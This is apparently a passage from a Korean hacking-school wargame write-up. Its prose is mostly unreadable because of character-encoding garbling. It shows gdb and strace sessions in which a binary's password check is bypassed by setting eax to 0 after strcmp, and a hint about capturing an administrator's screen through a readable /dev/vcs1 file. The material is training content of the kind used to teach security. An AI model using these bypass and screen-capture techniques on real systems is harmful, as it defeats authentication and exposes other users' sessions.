0x80485cc <main+188>:lea 0xfffffff8(%ebp),%esp

0x80485cf <main+191>:pop %esi

0x80485d0 <main+192>:pop %edi

0x80485d1 <main+193>:pop %ebp

0x80485d2 <main+194>:ret

0x80485d3 <main+195>:nop

End of assembler dump.

(gdb) q

bash-2.05a$ ./vuln

Password:

 

Ʋ·È½À´Ï´Ù.

bash-2.05a$ strace ./vuln

execve("./vuln", ["./vuln"], [/* 18 vars */]) = 0

uname({sys="Linux", node="localhost.localdomain", ...}) = 0

brk(0) = 0x80497f0

open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=23102, ...}) = 0

old_mmap(NULL, 23102, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40014000

close(3) = 0

open("/lib/i686/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`u\1B4\0"..., 1024) = 10

24

fstat64(3, {st_mode=S_IFREG|0755, st_size=1401027, ...}) = 0

old_mmap(0x42000000, 1264928, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x420000

00

mprotect(0x4212c000, 36128, PROT_NONE) = 0

old_mmap(0x4212c000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x12

c000) = 0x4212c000

old_mmap(0x42131000, 15648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON

YMOUS, -1, 0) = 0x42131000

close(3) = 0

munmap(0x40014000, 23102) = 0

brk(0) = 0x80497f0

brk(0x8049820) = 0x8049820

brk(0x804a000) = 0x804a000

rt_sigaction(SIGQUIT, {0x80485d4, [QUIT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) =

0

rt_sigaction(SIGINT, {0x80485d4, [INT], SA_RESTART|0x4000000}, {SIG_DFL}, 8) = 0

open("/dev/tty", O_RDWR|O_CREAT|O_TRUNC, 0666) = 3

ioctl(3, SNDCTL_TMR_TIMEBASE, {B9600 opost isig icanon echo ...}) = 0

ioctl(3, SNDCTL_TMR_CONTINUE, {B9600 opost -isig icanon -echo ...}) = 0

fstat64(3, {st_mode=S_IFCHR|0666, st_rdev=makedev(5, 0), ...}) = 0

ioctl(3, SNDCTL_TMR_TIMEBASE, {B9600 opost -isig icanon -echo ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40

014000

write(3, "Password: ", 10Password: ) = 10

read(3, "csa\n", 4096) = 4

write(3, "\n", 1

) = 1

ioctl(3, SNDCTL_TMR_CONTINUE, {B9600 opost isig icanon echo ...}) = 0

close(3) = 0

munmap(0x40014000, 4096) = 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40

014000

write(1, "\n", 1

) = 1

write(1, "\306\262\267\310\275\300\264\317\264\331.\n", 12Ʋ·È½À´Ï´Ù.

) = 12

munmap(0x40014000, 4096) = 0

_exit(-1) = ?

bash-2.05a$ gdb ./vuln

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) info ofuinc func

All defined functions:

 

Non-debugging symbols:

0x0804834c _init

0x08048374 __register_frame_info

0x08048384 strcmp

0x08048394 signal

0x080483a4 getpass

0x080483b4 __deregister_frame_info

0x080483c4 psignal

0x080483d4 __libc_start_main

0x080483e4 printf

0x080483f4 exit

0x08048410 _start

0x08048434 call_gmon_start

0x08048460 __do_global_dtors_aux

0x080484c0 fini_dummy

0x080484d0 frame_dummy

0x08048500 init_dummy

0x08048510 main

0x080485d4 handler

0x080485f0 __do_global_ctors_aux

0x08048620 init_dummy

---Type <return> to continue, or q <return> to quit---

0x08048630 _fini

(gdb) b strcmp

Breakpoint 1 at 0x8048384

(gdb) r

Starting program: /usr/sbin/crypt

Breakpoint 1 at 0x4207fa70

Password:

 

Breakpoint 1, 0x4207fa70 in strcmp () from /lib/i686/libc.so.6

(gdb) info reg

eax 0xbffffb35-1073743051

ecx 0x00

edx 0x4212e1101108533520

ebx 0x4213030c1108542220

esp 0xbffffb0c0xbffffb0c

ebp 0xbffffb880xbffffb88

esi 0x804868f134514319

edi 0xbffffb3d-1073743043

eip 0x4207fa700x4207fa70

eflags 0x246582

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) step

Single stepping until exit from function strcmp,

which has no line number information.

0x08048599 in main ()

(gdb) iun info stack

#0 0x08048599 in main ()

#1 0x42017499 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) info reg

eax 0x11

ecx 0xffffffff-1

edx 0x8049988134519176

ebx 0x4213030c1108542220

esp 0xbffffb100xbffffb10

ebp 0xbffffb880xbffffb88

esi 0x804868f134514319

edi 0xbffffb3d-1073743043

eip 0x80485990x8048599

eflags 0x302770

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) step

Single stepping until exit from function main,

which has no line number information.

 

Ʋ·È½À´Ï´Ù.

 

Program exited with code 0377.

(gdb) q

bash-2.05a$ gdb ./vuln

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disas main

Dump of assembler code for function main:

0x8048510 <main>:push %ebp

0x8048511 <main+1>:mov %esp,%ebp

0x8048513 <main+3>:push %edi

0x8048514 <main+4>:push %esi

0x8048515 <main+5>:sub $0x60,%esp

0x8048518 <main+8>:lea 0xffffffd8(%ebp),%edi

0x804851b <main+11>:mov $0x8048658,%esi

0x8048520 <main+16>:cld

0x8048521 <main+17>:mov $0x15,%ecx

0x8048526 <main+22>:repz movsb %ds:(%esi),%es:(%edi)

0x8048528 <main+24>:movb $0x0,0xffffffed(%ebp)

0x804852c <main+28>:lea 0xffffffb8(%ebp),%edi

0x804852f <main+31>:mov $0x804866d,%esi

0x8048534 <main+36>:cld

0x8048535 <main+37>:mov $0x15,%ecx

0x804853a <main+42>:repz movsb %ds:(%esi),%es:(%edi)

0x804853c <main+44>:movb $0x0,0xffffffcd(%ebp)

0x8048540 <main+48>:lea 0xffffffa8(%ebp),%edi

0x8048543 <main+51>:mov $0x8048682,%esi

0x8048548 <main+56>:cld

0x8048549 <main+57>:mov $0xd,%ecx

0x804854e <main+62>:repz movsb %ds:(%esi),%es:(%edi)

---Type <return> to continue, or q <return> to quit---

0x8048550 <main+64>:sub $0x8,%esp

0x8048553 <main+67>:push $0x80485d4

0x8048558 <main+72>:push $0x3

0x804855a <main+74>:call 0x8048394 <signal>

0x804855f <main+79>:add $0x10,%esp

0x8048562 <main+82>:sub $0x8,%esp

0x8048565 <main+85>:push $0x80485d4

0x804856a <main+90>:push $0x2

0x804856c <main+92>:call 0x8048394 <signal>

0x8048571 <main+97>:add $0x10,%esp

0x8048574 <main+100>:sub $0xc,%esp

0x8048577 <main+103>:push $0x804868f

0x804857c <main+108>:call 0x80483a4 <getpass>

0x8048581 <main+113>:add $0x10,%esp

0x8048584 <main+116>:mov %eax,0xffffffa4(%ebp)

0x8048587 <main+119>:sub $0x8,%esp

0x804858a <main+122>:pushl 0xffffffa4(%ebp)

0x804858d <main+125>:lea 0xffffffa8(%ebp),%eax

0x8048590 <main+128>:add $0x5,%eax

0x8048593 <main+131>:push %eax

0x8048594 <main+132>:call 0x8048384 <strcmp>

0x8048599 <main+137>:add $0x10,%esp

0x804859c <main+140>:mov %eax,%eax

---Type <return> to continue, or q <return> to quit---

0x804859e <main+142>:test %eax,%eax

0x80485a0 <main+144>:je 0x80485bc <main+172>

0x80485a2 <main+146>:sub $0xc,%esp

0x80485a5 <main+149>:push $0x804869a

0x80485aa <main+154>:call 0x80483e4 <printf>

0x80485af <main+159>:add $0x10,%esp

0x80485b2 <main+162>:sub $0xc,%esp

0x80485b5 <main+165>:push $0xffffffff

0x80485b7 <main+167>:call 0x80483f4 <exit>

0x80485bc <main+172>:sub $0xc,%esp

0x80485bf <main+175>:push $0x80486a8

0x80485c4 <main+180>:call 0x80483e4 <printf>

0x80485c9 <main+185>:add $0x10,%esp

0x80485cc <main+188>:lea 0xfffffff8(%ebp),%esp

0x80485cf <main+191>:pop %esi

0x80485d0 <main+192>:pop %edi

0x80485d1 <main+193>:pop %ebp

0x80485d2 <main+194>:ret

0x80485d3 <main+195>:nop

End of assembler dump.

(gdb) disas strcmp

Dump of assembler code for function strcmp:

0x8048384 <strcmp>:jmp *0x80497b4

0x804838a <strcmp+6>:push $0x8

0x804838f <strcmp+11>:jmp 0x8048364 <_init+24>

End of assembler dump.

(gdb) disas signal

Dump of assembler code for function signal:

0x8048394 <signal>:jmp *0x80497b8

0x804839a <signal+6>:push $0x10

0x804839f <signal+11>:jmp 0x8048364 <_init+24>

End of assembler dump.

(gdb) b 0x804859e

Function "0x804859e" not defined.

(gdb) b *0x804859e

Breakpoint 1 at 0x804859e

(gdb) r

Starting program: /usr/sbin/crypt

Password:

 

Breakpoint 1, 0x0804859e in main ()

(gdb) info reg

eax 0x11

ecx 0xffffffff-1

edx 0x8049988134519176

ebx 0x4213030c1108542220

esp 0xbffffb200xbffffb20

ebp 0xbffffb880xbffffb88

esi 0x804868f134514319

edi 0xbffffb3d-1073743043

eip 0x804859e0x804859e

eflags 0x282642

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) step

Single stepping until exit from function main,

which has no line number information.

 

Ʋ·È½À´Ï´Ù.

 

Program exited with code 0377.

(gdb) r

Starting program: /usr/sbin/crypt

Password:

 

Breakpoint 1, 0x0804859e in main ()

(gdb) info reg

eax 0x1 1

ecx 0xffffffff -1

edx 0x8049988 134519176

ebx 0x4213030c 1108542220

esp 0xbffffb20 0xbffffb20

ebp 0xbffffb88 0xbffffb88

esi 0x804868f 134514319

edi 0xbffffb3d -1073743043

eip 0x804859e 0x804859e

eflags 0x282642

cs 0x2335

ss 0x2b43

ds 0x2b43

es 0x2b43

fs 0x00

gs 0x00

fctrl 0x37f895

fstat 0x00

ftag 0xffff65535

fiseg 0x00

fioff 0x00

foseg 0x00

fooff 0x00

---Type <return> to continue, or q <return> to quit---

fop 0x00

xmm0 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm1 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm2 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm3 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm4 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm5 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm6 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

xmm7 {f = {0x0, 0x0, 0x0, 0x0}}{f = {0, 0, 0, 0}}

mxcsr 0x00

orig_eax 0xffffffff-1

(gdb) set $eax=0

(gdb) c

Continuing.

 

¼º°ø!!

 

Program exited with code 010.

(gdb) q

bash-2.05a$ exit

 

 

 

º¸³Ê½º ¹®Á¦ 2.

 

 

-- Hint --

°ü¸®ÀÚÀÇ È­¸é ĸÃÄ : °ü¸®ÀÚ°¡ ½Ç¼ö·Î °¡»ó ÄÜ¼Ö ½ºÅ©¸° °ü·Ã ÆÄÀÏÀÇ Àбâ Æ۹̼ÇÀ» ¿­¾î

³õ¾Ò´Ù°í ÇÕ´Ï´Ù. ÀÌ Á¤º¸¸¦ ÀÌ¿ëÇÏ¿© °ü¸®ÀÚÀÇ È­¸éÀ» ĸÃÄÇϼ¼¿ä.

-> more hint : °¡»ó ÄÜ¼Ö ½ºÅ©¸°ÀÇ ¾àÀÚ´Â?

 

 

 

ÀÌ ¹®Á¦´Â °¡»ó ÄÜ¼Ö ½ºÅ©¸° °ü·Ã ÆÄÀÏÀ» ÀÐ¾î °ü¸®ÀÚÀÇ È­¸éÀ» ĸÃÄÇϴ°ÍÀÌ´Ù.

ÈùÆ®¸¦ º¸¸é ÆÄÀϸíÀÌ °¡»óÄֽܼºÅ©¸°ÀÇ ¾àÀÚ ¶ó°í Çϴµ¥ ¾àÀÚ´Â vcsÀÌ´Ù.

±×·¡¼­ /dev ¿¡¼­ vcs ¿Í °ü·ÃµÈ ÆÄÀÏÀ» ã¾Æº¸¾Ò´Ù. ÀбâÆ۹̼ÇÀÌ ÀÖ´Â ÆÄÀÏÁß¿¡

vcs1 À̶ó´Â ÆÄÀÏÀÌ ÀÖ¾ú´Ù.

 

 

[ĸÃÄ È­¸é]

 

--EOF--

 

¼ö°íÇϼ̽À´Ï´Ù. HackerSchool (r-_-)r

 

 

** ÀÔ»óÀÚ¿¡°Ô ÇѸ¶µð!! **

 

 

±×·½¸° : ¾î·Æ´Ù..Èæ.. .
ÇÏÁö¼® : ÁÁÀº °­Á °¨»ç¿ä.. .
Åä½Ã : § .
Ç»ÃÄ¿÷ : ¸¹ÀÌ ¹è¿ü½À´Ï´Ù.. °¨»ç.. .
gazio : good job.. .
µðÆ潺 : Äe .
e4sy : À¸ÈåÈå ¹ú·¹ÇüÀ̱º ½Ç·Â ¸¶´Ï ´Ã¾ú³× ¤¾_¤¾ °í¼ö ¹ú°ÅÁöÇü -_-)/ º¯Å¿© ¿µ¿øÇϸ® .
ÁöÀÎ : [RS]ZeeIn ¹ú·¹Çü È­À̸µ .

 

 

À̸§ :   ³»¿ë :